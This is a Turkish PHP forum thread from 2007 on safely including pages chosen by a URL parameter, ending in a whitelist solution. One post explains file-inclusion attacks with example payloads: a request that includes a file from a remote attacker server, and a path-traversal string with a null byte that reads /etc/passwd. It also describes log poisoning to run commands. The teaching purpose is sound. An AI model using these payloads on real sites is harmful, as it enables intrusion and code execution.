|
10.09.2007 | 14:58
| #21
Alıntı:
|
||
|
__________________
kişisel portfolio |
||
| Alıntı yap |
|
10.09.2007 | 15:04
| #22
Alıntı:
Bu arada üstteki işlemi yaptığımda " Warning: array_search(): Wrong datatype for second argument in D:\Home\siteadi.com\httpdocs\beta\Index.PHP on line 281 " şeklinde bir hata verdi.. |
||
|
__________________
kişisel portfolio |
||
| Alıntı yap |
|
10.09.2007 | 16:17
| #23
Bir array'in içinden kontrol etmek yerine örneğin include klasöründe aranan dosyanın olup olmadığını denetlemek daha iyi bir yöntem bence.
|
|
| Alıntı yap |
|
Üyelik Tarihi: 03.08.2000
Mesaj: 38
|
10.09.2007 | 21:35
| #24
Alıntı:
Ayrıca BYK'nın önerisi de güvenliği bir adım ileri taşır. Daha şık olur. |
|
| Alıntı yap |
|
10.09.2007 | 21:42
| #25
Alıntı:
Bunu nasıl yapabiliriz PHP ile? |
||
|
__________________
kişisel portfolio |
||
| Alıntı yap |
|
10.09.2007 | 23:22
| #26
PHP Code:
Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani
|
|
| Alıntı yap |
|
11.09.2007 | 00:16
| #27
file_exists aloow_url_foen ın açık olduğu sunucularda uzaktaki dosyların varlığını kotrol edebileceği için ciddi sorunlara neden olabilir (Bakınız XSS) ayrıca sunucuda şifre dosyları gibi include edilmesi istenmeyen dosyaların da siteye çağrılması sağlanabilir, yüklenecek sayfaları bir diziye atmak (beyaz liste yöntemi) bu sorunlar çözmek için en güvenli yoldur.
Yine de bu yöntemi kullanmak istemezseniz, basename() fonksityonu ile gelen dosyanın ismini belirleyerek bildiğiniz dizinden yükleme yapabilirsiniz, bu kötü niyetli kişilerin sizin istemediğiniz dosyları include etme olasılığını oldukça azaltır. |
|
| Alıntı yap |
|
11.09.2007 | 08:44
| #28
meteryus'un belirttiği şeyi yazmayı unutmuşum ben de. Sistem olarak tam da onun yazdığı kod gibi bir şey kullanıyoruz kendi sitemizde de.
Teşekkürler uyarı için
|
|
| Alıntı yap |
|
Üyelik Tarihi: 23.10.2005
Mesaj: 60
|
11.09.2007 | 22:09
| #29
Son zamanlarda PHP ile yazılmış sistemlerde en çok görülen güvenlik problemlerinden biri Remote File Include “uzaktan kod/dosya çalıştırma” saldırıları.
Genelde, modüler bir yapı uğruna şu çeşit kodları görebilmek mümkün; Kod:
<? include $_GET["sayfa"]; ?> Örnek saldırı: index.PHP?sayfa=http://uzaktakisunucu.com/saldiran_dosya.txt Saldırıları önlemek amacıyla birçok forumda/platformda çeşitli önlemler görüyorum. Fakat gerçekten güvenli çözüm göremedim desem yalan olur. Şimdi gelelim, güvenli olmayan güvenlik yaklaşımlarına;
En yaygın sorunlardan bir tanesi. Include yolunun başına path ekleyince sorun olmayacakmış gibi geliyor web programcılarına; Örnek kod; Kod:
<?
include 'inc/'.$_GET["sayfa"].'.PHP';
?>
Nasıl olduğunu görelim; Örnek saldırı: index.PHP?sayfa=../../../../etc/passwd%00 Evet bu şekilde yapılacak bir istekle, Linux sunucularda bulunan passwd dosyası ekrana basılacaktır. Büyük ihtimalle null byte’ı (%00) ilk defa görüyorsanız kafanız karıştı. Normalde sonuna uzantı ekliyoruz diye düşündünüz. Fakat PHP, C familyasından bir dildir. Ve değişkeni işlerken %20 karakterini gördüğü zaman durur, dolayısıyla sonuna inter-polation yardımıyla eklediğiniz uzantı işe yaramaz hale gelir. Bu durumda http_auth ile sakladığınız dizinlerin içerikleri görüntülenebilir, ve daha da tehlikesi sunucunuzda kod çalıştırılabilir. Hemen hemen her web sunucu gelen http isteklerini loglar ve bunu belirli bir dosyaya kaydeder. Örneğin, Access.log vardır apache’dir. Bu log dosyalarının makine üstündeki yerler bellidir. Ve yine http istekleri kullanıcı tarafından geldiği için suistimal edilebilir. Saldırıyı örnekleyelim hemen;
Bu isteğin sonucunda çalışılan dizinin içeriği ekrana basılacaktır. ls –all yerine çok daha tehlikeli kodlar çalıştırılabilir.
Alıntı:
Öncelikle file_exists() yukarıdaki saldırılardan zaten etkilenecektir. Çünkü olmayan bir dosya include edilmiyor sonuçta. Fakat bunun yanında PHP5 ile birlikte file_exists(); http wrapper’lari da destekliyor. Dolayısıyla, uzaktaki sunucudaki dosyaları da kontrol edebiliyor. Manual sayfasına bakabilirseniz görürsünüz. Peki ya çözüm? Aslında çözüm gayet basit. Tam beyaz liste’lik iş. Örnek kod; Kod:
<?
$beyaz_liste = array('haberler','linkler','dosyalar'); # cogaltilabilir..
if(in_array($_GET["sayfa"],$beyaz_liste)) {
$do = $_GET["sayfa"];
}
else {
$do = 'index'; # anasayfa her neyse..
}
include('inc/'.$do.'.PHP');
?>
Dip not: şu yazıdan sonra rahat 1 ay bir şey yazmam ben. |
|
|
__________________
http://www.benzinliktekiadam.com |
||
| Alıntı yap |
|
12.09.2007 | 08:29
| #30
En sona koyduğun scandir() fonksiyonu olmadığı sürece beyaz liste uygulamasına kesinlikle karşıyım ancak çok güzel noktalara değinmişsin. Hem eline sağlık hem teşekkürler, ben şu scandir'i bir kullanayım hemen
|
|
| Alıntı yap |
Zoque'a hoşgeldiniz!